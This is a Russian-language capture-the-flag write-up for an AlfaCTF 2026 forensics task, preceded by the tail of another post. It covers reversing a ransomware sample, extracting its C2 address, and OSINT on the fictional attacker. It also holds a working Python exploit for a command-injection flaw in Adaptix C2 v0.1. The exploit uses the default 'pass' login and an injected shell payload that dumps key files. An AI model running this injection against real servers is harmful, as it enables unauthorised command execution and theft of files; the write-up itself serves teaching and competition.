  &lt;p id=&quot;L7f6&quot;&gt;Получается, что у нас есть всё для восстановления исходной картинки, кроме самого шифртекста. Его найти просто: шифруем любую PNG таким же образом и смотрим на первые 16 байт —  они совпадают для одинакового ключа.&lt;/p&gt;
  &lt;p id=&quot;exV4&quot;&gt;Шифруем и ищем в памяти &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Y7hA&quot;&gt;E0 23 F2 B1 5C 8C 22 0D 34 5D 56 C1 A8 FD 2D C3&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;3aSC&quot;&gt;Расшифровать картинку с флагом можно так:&lt;/p&gt;
  &lt;pre id=&quot;cxlP&quot; data-lang=&quot;c&quot;&gt;import os
p0 = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52] # PNG header
a2 = [0x53, 0x4e, 0x45, 0x5a, 0x48, 0x41, 0x4e, 0x41, 0x4d, 0x41, 0x4c, 0x56, 0x41, 0x52, 0x45, 0x56] # SNEZHANAMALVAREVA

key = [p0[i] ^ a2[i] for i in range(len(p0))]

with open(&amp;quot;key_f.bin&amp;quot;, &amp;quot;wb&amp;quot;) as f:
    f.write(bytes(key))

os.popen(&amp;quot;openssl enc -d -aes-256-cbc -in hidden.pid.4440.dmp -out flag.png -K $(cat key_f.bin | sha256sum) -iv $(xxd -p -c 16 iv_f.bin)&amp;quot;)&lt;/pre&gt;

</content></entry><entry><id>mixinspace:hack-na-lavandovom</id><link rel="alternate" type="text/html" href="https://teletype.in/@mixinspace/hack-na-lavandovom?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=mixinspace"></link><title>Хак на лавандовом</title><published>2026-04-29T03:39:20.962Z</published><updated>2026-04-29T03:43:37.522Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/b9/d5/b9d57f7b-02b0-4bf7-8185-7cbf4bab5d3d.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/13/04/1304b40c-aa25-41d6-8e41-f320cb3cae5d.png&quot;&gt;Сложность: Hard
Категории: Forensics, Linux, OSINT, Web
Автор задания: Никита Ильин (@yanik1ta), SPbCTF</summary><content type="html">
  &lt;h3 id=&quot;Tp8l&quot;&gt;АльфаЦТФ 2026&lt;/h3&gt;
  &lt;p id=&quot;21lb&quot;&gt;Сложность: Hard&lt;br /&gt;Категории: Forensics, Linux, OSINT, Web&lt;br /&gt;Автор задания: Никита Ильин (&lt;a href=&quot;https://t.me/yanik1ta&quot; target=&quot;_blank&quot;&gt;@yanik1ta&lt;/a&gt;), &lt;a href=&quot;https://t.me/spbctf&quot; target=&quot;_blank&quot;&gt;SPbCTF&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;yLhO&quot;&gt;Описание:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;D5d6&quot;&gt;Сегодня с утра вы, как обычно, зашли в любимую спешалти-кофейню Northwind Coffee Roasters за единственным в нашем городе рафом на лавандовом. Но в эту субботу что-то не так: у стойки стоит очередь, не движется. Бариста, обычно улыбчивая и быстрая, смотрит в экран кассы с выражением человека, который только что увидел, как его машина уезжает без него.&lt;/p&gt;
    &lt;p id=&quot;AiSz&quot;&gt;Оказалось, какой-то злодей зашифровал их сервер с кассой и всей бухгалтерией. Так дело не пойдёт, без кофе вы сегодня не уйдёте! Вы расталкиваете очередь и вызываетесь всё исправить и расшифровать.&lt;/p&gt;
    &lt;p id=&quot;v0VI&quot;&gt;Образ диска: &lt;a href=&quot;https://alfactf.ru/files/CAFE_DISK_IMAGE.7z&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;CAFE_DISK_IMAGE.7z&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;RMa2&quot;&gt;Шаг 1 - Первичный анализ&lt;/h2&gt;
  &lt;p id=&quot;4DSC&quot;&gt;Таск встречает нас двумя файлами образа диска в формате EnCase / Expert Witness Format (EWF). Откроем их в AutoPsy (можно и просто замонтировать в линукс) для первичного анализа файлов.&lt;/p&gt;
  &lt;p id=&quot;0FpV&quot;&gt;Сразу можно заметить много подозрительных файлов с расширением &lt;code&gt;GSenc&lt;/code&gt;, предположительно зашифрованных. Все они имеют одинаковую структуру и сигнатуру &lt;code&gt;HLF1&lt;/code&gt;. Дата и время шифрования файлов - &lt;code&gt;2026-03-22 20:44:43 MSK&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;sJ7R&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/28/2b/282b986d-f5d7-4f10-ac16-3cb74bf0c4a0.png&quot; width=&quot;684.5&quot; /&gt;
    &lt;figcaption&gt;Пример зашифрованного файла&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GxN2&quot;&gt;Поиск в интернете по сигнатуре файла, расширению по известным шифровальщикам результатов не дал, поэтому будем искать артефакты на хосте. &lt;/p&gt;
  &lt;p id=&quot;CZOt&quot;&gt;По пути /home/user/Documents/NorthwindCoffee/accounting/ был найден flag.txt.GSenc, предположительно флагстор таска.&lt;/p&gt;
  &lt;p id=&quot;rs11&quot;&gt;bash_history почищен, в других логах артефактов запуска подозрительных файлов также не обнаружено, но в &lt;code&gt;/var/tmp&lt;/code&gt; были обнаружены два файла:&lt;/p&gt;
  &lt;figure id=&quot;vJpq&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/61/fe/61fe15ab-a9b2-4f5e-973b-0ecd2058ef9a.png&quot; width=&quot;579&quot; /&gt;
    &lt;figcaption&gt;Подозрительные файлы в /var/tmp&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ONHp&quot;&gt;Зареверсим их чтобы узнать, что они делают.&lt;/p&gt;
  &lt;h2 id=&quot;qCmX&quot;&gt;Шаг 2. Реверс вредоносов&lt;/h2&gt;
  &lt;p id=&quot;2jYW&quot;&gt;Начнем с GS-encrypt, судя по названию это шифровальщик, который и энкриптнул все данные. Так как наша основная цель - восстановить flag.txt, то нам надо понять как шифруются файлы и как их дешифровать.&lt;/p&gt;
  &lt;p id=&quot;vuis&quot;&gt;GS-encrypt - бинарник, написанный на GO.&lt;/p&gt;
  &lt;p id=&quot;20FD&quot;&gt;Судя по флагам программы, это действительно наш шифратор.&lt;/p&gt;
  &lt;figure id=&quot;60Lq&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/80/ad/80adab9d-de57-488d-85ea-c708d6f61497.png&quot; width=&quot;1570&quot; /&gt;
    &lt;figcaption&gt;флаги программы&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NO1Y&quot;&gt;В нем используется RSA. В функции main_loadPublicKey у нас в память записывается строчка с публичным ключом RSA для шифрования.&lt;/p&gt;
  &lt;figure id=&quot;cmzb&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b0/7a/b07ae833-c24c-4448-9bc4-391ad0c87097.png&quot; width=&quot;2094&quot; /&gt;
    &lt;figcaption&gt;Публичный ключ RSA&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7PVZ&quot;&gt;Cхема шифрования следующая:&lt;/p&gt;
  &lt;p id=&quot;Rnwc&quot;&gt;Чтобы зашифровать файл надо:&lt;br /&gt;&lt;br /&gt;1. Использовать 32 случайных байта как AES_key для AES-256-GCM&lt;br /&gt;2. Сгенерировать случайный nonce длиной gcm.NonceSize()&lt;br /&gt;3. Зашифровать содержимое файла через AES-256-GCM&lt;br /&gt;4. Зашифровать AES_key публичным RSA-ключом через RSA-OAEP-SHA256&lt;br /&gt;5. Сформировать бинарный контейнер:&lt;/p&gt;
  &lt;p id=&quot;cV7l&quot;&gt;Формат выходного файла такой:&lt;/p&gt;
  &lt;p id=&quot;a6kx&quot;&gt;offset				size		field&lt;br /&gt;0x00				4 		magic&lt;br /&gt;0x04				1 			version&lt;br /&gt;0x05				1 			key algorithm id&lt;br /&gt;0x06 				1 			data algorithm id&lt;br /&gt;0x07 				2 		wrapped key length, uint16 big-endian&lt;br /&gt;0x09 				2 		nonce length, uint16 big-endian&lt;br /&gt;0x0B 				4 		ciphertext length, uint32 big-endian&lt;br /&gt;0x0F 				N 		RSA-OAEP-SHA256 encrypted AES key&lt;br /&gt;0x0F+N 			M 		AES-GCM nonce&lt;br /&gt;0x0F+N+M 	K 		AES-GCM ciphertext + GCM auth tag&lt;/p&gt;
  &lt;p id=&quot;iw7X&quot;&gt;Для расшифровки нужно:&lt;/p&gt;
  &lt;p id=&quot;nenD&quot;&gt;1. Прочитать первые 15 байт заголовка&lt;br /&gt;2. Проверить magic/version/algo ids&lt;br /&gt;3. Прочитать keyenc_len, nonce_len, ciphertext_len как big-endian&lt;br /&gt;4. Извлечь keyenc, nonce, ciphertext&lt;br /&gt;5. Расшифровать keyenc приватным RSA-ключом через RSA-OAEP-SHA256&lt;br /&gt;6. Получить AES_key&lt;br /&gt;7. Расшифровать ciphertext через AES-256-GCM с nonce и AAD=nil&lt;/p&gt;
  &lt;p id=&quot;gbhK&quot;&gt;Но в GS-encrypt приватного ключа RSA не найдено, идем дальше&lt;/p&gt;
  &lt;p id=&quot;KWPZ&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;naJp&quot;&gt;agent.bin - более объемный, выполняет роль c2 агента для удаленного доступа атакующего к системе. Самое интересное, что мы можем достать отсюда - IP адрес или домен C2 сервера.&lt;/p&gt;
  &lt;p id=&quot;VvDq&quot;&gt;в main_main вызывается net_Dial&lt;/p&gt;
  &lt;figure id=&quot;BCyR&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/af/5a/af5a70c1-9e43-4b2b-b0cb-479d6fe9f683.png&quot; width=&quot;957&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;aYQw&quot;&gt;которой в параметры передается ip/domain сервера, который хранится в qword_A23888.&lt;/p&gt;
  &lt;p id=&quot;LwGH&quot;&gt;До этого у нас вызывается gopher_utils_DecryptData, где первые 16 байт v0 - ключ, остальное данные.&lt;/p&gt;
  &lt;figure id=&quot;VkpG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/58/fd/58fd58f5-733b-424f-930f-8b8d3ddc975f.png&quot; width=&quot;1562&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yJls&quot;&gt;который после дешифровки кладет данные в Profile, Profile.Adresses которого потом как раз перемещается в qword_A23888&lt;/p&gt;
  &lt;p id=&quot;oL6E&quot;&gt;Данные которые дешифруются лежат в off_A17B30 -&amp;gt; off_A17B50 -&amp;gt; unk_9F59A0 &lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;qmiF&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2b/f2/2bf2f969-8481-4d6c-8585-d464c1c1417f.png&quot; width=&quot;1440&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hKeK&quot;&gt;Первые 16 байт - ключ, оставшиеся - данные. Общее количество данных - 0xA7 (лежало в off_A17B50)&lt;/p&gt;
  &lt;p id=&quot;Kr2I&quot;&gt;Чтобы расшифровать, используем обычный AES-GCM, использующийся в gopher_utils_DecryptData. Первые 12 байт после key - nonce&lt;/p&gt;
  &lt;p id=&quot;xHeG&quot;&gt;key (16 bytes):&lt;br /&gt;51 D9 74 9D F3 F6 42 D1 CC E3 44 38 82 D3 E6 4E&lt;/p&gt;
  &lt;p id=&quot;EmUE&quot;&gt;nonce:&lt;br /&gt; 7E 11 7D 14 AF D7 3F 92 06 9E F2 FC&lt;/p&gt;
  &lt;p id=&quot;gcHK&quot;&gt;encrypted+tag:&lt;br /&gt; 6B E7 18 70 78 BC 17 09 E8 64 20 74 71 E0 C5 19 8C 64 93 DC&lt;br /&gt; 76 58 95 C4 6C 73 71 F7 DB 65 72 1D 6E 88 1D 13 6B C7 1C AB&lt;br /&gt; 26 8A 74 D9 EA A9 EF 2A 40 B8 69 7F DA C0 A1 19 D8 D0 73 81&lt;br /&gt; 36 48 4A C5 31 98 AE 16 87 DA 4F 50 BB BD BE C6 5B 55 7B F0&lt;br /&gt; F4 D6 41 AE C0 D7 7C F8 B9 DA 04 03 09 62 91 0F 49 33 73 B7&lt;br /&gt; AE A9 E9 E9 B8 0C 39 51 A0 B3 7A 8D 5C 56 41 05 24 3E 2F 5D&lt;br /&gt; 6D 06 FB 4D A5 5A A7 52 C2 CA 9B 00 79 53 0F 4E 31 5E E5&lt;/p&gt;
  &lt;p id=&quot;S3HE&quot;&gt;Расшифровав и распарсив msgpack, получаем &lt;/p&gt;
  &lt;pre id=&quot;vyj7&quot;&gt;{
  &amp;quot;type&amp;quot;: 2421052563,
  &amp;quot;addresses&amp;quot;: [
    &amp;quot;cc.gigashad.xyz:4444&amp;quot;
  ],
  &amp;quot;banner_size&amp;quot;: 17,
  &amp;quot;conn_timeout&amp;quot;: 10,
  &amp;quot;conn_count&amp;quot;: 1000000000,
  &amp;quot;use_ssl&amp;quot;: false,
  &amp;quot;ssl_cert&amp;quot;: null,
  &amp;quot;ssl_key&amp;quot;: null,
  &amp;quot;ca_cert&amp;quot;: null
}&lt;/pre&gt;
  &lt;p id=&quot;ORtA&quot;&gt;Нашли домен и порт c2 сервера, будем копать туда.&lt;/p&gt;
  &lt;h2 id=&quot;wd8R&quot;&gt;Шаг 3. Gigashad&lt;/h2&gt;
  &lt;p id=&quot;Gjo4&quot;&gt;На cc.gigashad.xyz уже ничего не висит, но на основном домене gigashad.xyz есть сайт, на котором есть ссылка на телеграм-канал атакующего.&lt;/p&gt;
  &lt;figure id=&quot;0zWN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fd/ea/fdea01ce-41ce-4a66-ae8f-7b07d5b35703.png&quot; width=&quot;1520&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;gNUV&quot;&gt;В телеграм канале несколько постов, в том числе пост о взломе и шифровании хоста, образ которого у нас есть, несколько постов для наполнения, но самый примечательный из всех постов - туториал по установке Adaptix C2 сервера.&lt;/p&gt;
  &lt;figure id=&quot;ILCz&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/03/2e/032e824b-6842-45bd-b7a5-12324a1e3d04.png&quot; width=&quot;693&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ftvg&quot;&gt;В этом видео он &amp;quot;случайно&amp;quot; сливает важную информацию:&lt;/p&gt;
  &lt;p id=&quot;F3Ej&quot;&gt;Содержимое корневой директории&lt;/p&gt;
  &lt;figure id=&quot;Xqaa&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e9/73/e9730212-2202-4e52-8176-475b3afeae5d.png&quot; width=&quot;2269&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dRKd&quot;&gt;Дату съемки видео&lt;/p&gt;
  &lt;figure id=&quot;dlsl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/08/16/081648bb-9a33-4ca0-a3ae-0e9ead7bfd48.png&quot; width=&quot;162&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zFRY&quot;&gt;Запуск сервера на стандартном профиле&lt;/p&gt;
  &lt;figure id=&quot;dj6K&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7a/a3/7aa3eef6-3b58-4014-a1a1-a92d20b6ba97.png&quot; width=&quot;1554&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HJuo&quot;&gt;Пароль из 4 символов и имя аккаунта&lt;/p&gt;
  &lt;figure id=&quot;k0jj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d3/e0/d3e0f9b5-6c92-42b7-a2b7-74b5f2d7fb24.png&quot; width=&quot;739&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nKXr&quot;&gt;Все для подключения к серверу&lt;/p&gt;
  &lt;figure id=&quot;264w&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/69/13/691324a8-0819-427f-8706-995356fa03af.png&quot; width=&quot;721&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;2wnw&quot;&gt;Шаг 4. Adaptix C2 0.1&lt;/h2&gt;
  &lt;p id=&quot;RLrf&quot;&gt;Если мы перейдем по ссылке (которая тоже была в видео) на гитхаб Adaptix C2 сервера, то увидим, что 26.01.2025 вышла версия Adaptix C2 0.1&lt;/p&gt;
  &lt;p id=&quot;Nf3L&quot;&gt;Склоним, переключимся на этот коммит, забилдим и попытаемся подключиться к серверу:&lt;/p&gt;
  &lt;figure id=&quot;etxI&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/33/b1/33b1b2b6-9fe6-47d9-a435-07261ca6f0e1.png&quot; width=&quot;737&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;U03N&quot;&gt;Пароль по умолчанию - pass&lt;/p&gt;
  &lt;p id=&quot;h7n0&quot;&gt;У нас действительно получилось подключиться, но клиент пустой, ничего нету, кроме попыток что-то сделать другими участниками.&lt;/p&gt;
  &lt;figure id=&quot;i6gR&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/70/a8/70a8e986-fec7-4324-ad7a-71ea0e368b53.png&quot; width=&quot;1237&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5nm8&quot;&gt;Так как мы знаем что Adaptix C2 сервер запущен на хосте, где лежат DECRYPTION_KEYS, и единственный способ достучаться до этого хоста - через этот сервер, возникло предположение что в версии 0.1 существует некое RCE или задуманный функционал, позволяющий читать файлы на хосте.&lt;/p&gt;
  &lt;p id=&quot;52BJ&quot;&gt;Изучив исходный код сервера Adaptix v0.1 была найдена уязвимость типа command injection в ручке /agent/generate.&lt;/p&gt;
  &lt;p id=&quot;ONjM&quot;&gt;Изначально эта ручка должна была просто создавать бинарь под нужный listener, и отдать payload клиенту. Ручкой ожидался пейлоад типа:&lt;/p&gt;
  &lt;pre id=&quot;V07y&quot;&gt;{
  &amp;quot;os&amp;quot;: &amp;quot;windows&amp;quot;,
  &amp;quot;arch&amp;quot;: &amp;quot;x64&amp;quot;,
  &amp;quot;format&amp;quot;: &amp;quot;Exe&amp;quot;,
  &amp;quot;sleep&amp;quot;: &amp;quot;4s&amp;quot;,
  &amp;quot;jitter&amp;quot;: 0,
  &amp;quot;svcname&amp;quot;: &amp;quot;AgentService&amp;quot;
}&lt;/pre&gt;
  &lt;p id=&quot;3vuS&quot;&gt;Но поле svcname небезопасно подставлялось в команду, которая вызвается через exec.Command.&lt;/p&gt;
  &lt;p id=&quot;iAW0&quot;&gt;pl_agent.go&lt;/p&gt;
  &lt;pre id=&quot;s2we&quot; data-lang=&quot;go&quot;&gt;agentProfileSize := len(agentProfile) / 4
cmdConfig = fmt.Sprintf(&amp;quot;%s %s %s/config.cpp -DSERVICE_NAME=&amp;#x27;\&amp;quot;%s\&amp;quot;&amp;#x27; -DPROFILE=&amp;#x27;\&amp;quot;%s\&amp;quot;&amp;#x27; -DPROFILE_SIZE=%d -o %s/config.o&amp;quot;,
    Compiler, CFlag, ObjectDir, generateConfig.SvcName, string(agentProfile), agentProfileSize, tempDir)

runnerCmdConfig := exec.Command(&amp;quot;sh&amp;quot;, &amp;quot;-c&amp;quot;, cmdConfig)
runnerCmdConfig.Dir = currentDir
runnerCmdConfig.Stdout = &amp;amp;stdout
runnerCmdConfig.Stderr = &amp;amp;stderr
err = runnerCmdConfig.Run()
if err != nil {
    os.RemoveAll(tempDir)
    return nil, &amp;quot;&amp;quot;, errors.New(string(stderr.Bytes()))
}&lt;/pre&gt;
  &lt;p id=&quot;EO6D&quot;&gt;svcname подставлялось в команду вместо &lt;code&gt;-DSERVICE_NAME=&amp;#x27;\&amp;quot;%s\&amp;quot;&amp;#x27;&lt;/code&gt;, и если в svcname подать пейлоад типа &lt;code&gt;x&amp;#x27; ; ({cmd}) &amp;gt;&amp;amp;2; exit 1; #&lt;/code&gt;, то agent/generate вместо бинаря возвращал вывод команды cmd.&lt;/p&gt;
  &lt;p id=&quot;fLSk&quot;&gt;Перед отправлением этой команды, необходимо создать listener на /listener/create.&lt;/p&gt;
  &lt;p id=&quot;3SKn&quot;&gt;Это полный RCE на хосте атакующего, по факту можно было сделать все что угодно, но так как нам необходимы только ключи для нашего образа, вытащим их:&lt;/p&gt;
  &lt;pre id=&quot;3L5M&quot; data-lang=&quot;python&quot;&gt;import base64
import json
import secrets

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = &amp;quot;https://lab.gigashad.xyz:4321/endpoint&amp;quot;
DIR = &amp;quot;/DECRYPTION_KEYS/Northwind_Coffee_Roasters&amp;quot;

r = requests.post(f&amp;quot;{URL}/login&amp;quot;, json={&amp;quot;username&amp;quot;: &amp;quot;gigashad&amp;quot;, &amp;quot;password&amp;quot;: &amp;quot;pass&amp;quot;}, verify=False, timeout=15)
token = r.json()[&amp;quot;access_token&amp;quot;]
headers = {&amp;quot;Authorization&amp;quot;: f&amp;quot;Bearer {token}&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;}

name = &amp;quot;L&amp;quot; + secrets.token_hex(4)
listener = {
    &amp;quot;host_bind&amp;quot;: &amp;quot;0.0.0.0&amp;quot;,
    &amp;quot;port_bind&amp;quot;: &amp;quot;9999&amp;quot;,
    &amp;quot;callback_port&amp;quot;: &amp;quot;9999&amp;quot;,
    &amp;quot;callback_servers&amp;quot;: &amp;quot;lab.gigashad.xyz&amp;quot;,
    &amp;quot;urn&amp;quot;: &amp;quot;/beacon.php&amp;quot;,
    &amp;quot;http_method&amp;quot;: &amp;quot;POST&amp;quot;,
    &amp;quot;hb_header&amp;quot;: &amp;quot;X-Beacon-Id&amp;quot;,
    &amp;quot;user_agent&amp;quot;: &amp;quot;Mozilla/5.0&amp;quot;,
    &amp;quot;host_header&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;request_headers&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;x-forwarded-for&amp;quot;: False,
    &amp;quot;page-error&amp;quot;: &amp;quot;404&amp;quot;,
    &amp;quot;page-payload&amp;quot;: &amp;quot;OK &amp;lt;&amp;lt;&amp;lt;PAYLOAD_DATA&amp;gt;&amp;gt;&amp;gt; DONE&amp;quot;,
    &amp;quot;server_headers&amp;quot;: &amp;quot;&amp;quot;,
}
requests.post(
    f&amp;quot;{URL}/listener/create&amp;quot;,
    headers=headers,
    json={&amp;quot;name&amp;quot;: name, &amp;quot;type&amp;quot;: &amp;quot;external/http/BeaconHTTP&amp;quot;, &amp;quot;config&amp;quot;: json.dumps(listener)},
    verify=False,
    timeout=20,
)

svc = f&amp;quot;x&amp;#x27; ; (cat {DIR}/* | base64 -w0) &amp;gt;&amp;amp;2; exit 1; #&amp;quot;
agent = {
    &amp;quot;listener_name&amp;quot;: name,
    &amp;quot;listener_type&amp;quot;: &amp;quot;external/http/BeaconHTTP&amp;quot;,
    &amp;quot;agent&amp;quot;: &amp;quot;beacon&amp;quot;,
    &amp;quot;config&amp;quot;: json.dumps({&amp;quot;os&amp;quot;: &amp;quot;windows&amp;quot;, &amp;quot;arch&amp;quot;: &amp;quot;x64&amp;quot;, &amp;quot;format&amp;quot;: &amp;quot;Exe&amp;quot;, &amp;quot;sleep&amp;quot;: &amp;quot;1s&amp;quot;, &amp;quot;jitter&amp;quot;: 0, &amp;quot;svcname&amp;quot;: svc}),
}
r = requests.post(f&amp;quot;{URL}/agent/generate&amp;quot;, headers=headers, json=agent, verify=False, timeout=60)
data = [x.strip() for x in r.json()[&amp;quot;message&amp;quot;].splitlines() if x.strip()][-1]

open(&amp;quot;recovered_keys.bin&amp;quot;, &amp;quot;wb&amp;quot;).write(base64.b64decode(data))
print(&amp;quot;saved recovered_keys.bin&amp;quot;)&lt;/pre&gt;
  &lt;p id=&quot;vUzK&quot;&gt;В recovered_keys.bin будет содержание и приватного, и публичного ключа для расшифровки GSenc файлов.&lt;/p&gt;
  &lt;h2 id=&quot;nT8P&quot;&gt;Шаг 5. Финал&lt;/h2&gt;
  &lt;p id=&quot;jIpp&quot;&gt;Осталось лишь написать дешифатор для расшифровки файлов из образа:&lt;/p&gt;
  &lt;pre id=&quot;sFW8&quot; data-lang=&quot;python&quot;&gt;import argparse
import re
from pathlib import Path

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA


def load_private_key(path: Path):
    data = path.read_text(&amp;quot;utf-8&amp;quot;, errors=&amp;quot;ignore&amp;quot;)
    m = re.search(
        r&amp;quot;-----BEGIN RSA PRIVATE KEY-----.*?-----END RSA PRIVATE KEY-----&amp;quot;,
        data,
        re.S,
    )
    if not m:
        raise ValueError(&amp;quot;private RSA key not found&amp;quot;)
    return RSA.import_key(m.group(0))


def parse_gsenc(data: bytes):
    if len(data) &amp;lt; 15:
        raise ValueError(&amp;quot;file too short&amp;quot;)
    if data[:4] != b&amp;quot;HFL1&amp;quot;:
        raise ValueError(&amp;quot;bad magic&amp;quot;)

    version = data[4]
    key_algo = data[5]
    data_algo = data[6]
    key_len = int.from_bytes(data[7:9], &amp;quot;big&amp;quot;)
    nonce_len = int.from_bytes(data[9:11], &amp;quot;big&amp;quot;)
    ct_len = int.from_bytes(data[11:15], &amp;quot;big&amp;quot;)

    if version != 1 or key_algo != 1 or data_algo != 1:
        raise ValueError(f&amp;quot;unsupported header: version={version} key_algo={key_algo} data_algo={data_algo}&amp;quot;)

    pos = 15
    keyenc = data[pos:pos + key_len]
    pos += key_len
    nonce = data[pos:pos + nonce_len]
    pos += nonce_len
    ciphertext = data[pos:pos + ct_len]

    if len(keyenc) != key_len or len(nonce) != nonce_len or len(ciphertext) != ct_len:
        raise ValueError(&amp;quot;truncated container&amp;quot;)
    return keyenc, nonce, ciphertext


def decrypt_file(enc_path: Path, key_path: Path, out_path: Path):
    keyenc, nonce, ciphertext = parse_gsenc(enc_path.read_bytes())
    priv = load_private_key(key_path)
    aes_key = PKCS1_OAEP.new(priv, hashAlgo=SHA256).decrypt(keyenc)
    plain = AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ciphertext[:-16], ciphertext[-16:])
    out_path.write_bytes(plain)
    return plain


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(&amp;quot;enc&amp;quot;, nargs=&amp;quot;?&amp;quot;, default=&amp;quot;flag.txt.GSenc&amp;quot;)
    ap.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;recovered_keys.bin&amp;quot;)
    ap.add_argument(&amp;quot;-o&amp;quot;, &amp;quot;--out&amp;quot;)
    a = ap.parse_args()

    enc = Path(a.enc)
    out = Path(a.out or enc.with_suffix(&amp;quot;&amp;quot;))
    plain = decrypt_file(enc, Path(a.key), out)
    print(f&amp;quot;saved {out}&amp;quot;)
    try:
        print(plain.decode())
    except UnicodeDecodeError:
        print(plain)


if __name__ == &amp;quot;__main__&amp;quot;:
    main()&lt;/pre&gt;
  &lt;p id=&quot;l2bP&quot;&gt;После расшифровки flag.txt.GSenc, получили флаг:&lt;/p&gt;
  &lt;figure id=&quot;P1nx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/49/10/4910c05d-779e-4106-bacf-6cb7ca085584.png&quot; width=&quot;757&quot; /&gt;
  &lt;/figure&gt;

</content></entry></feed>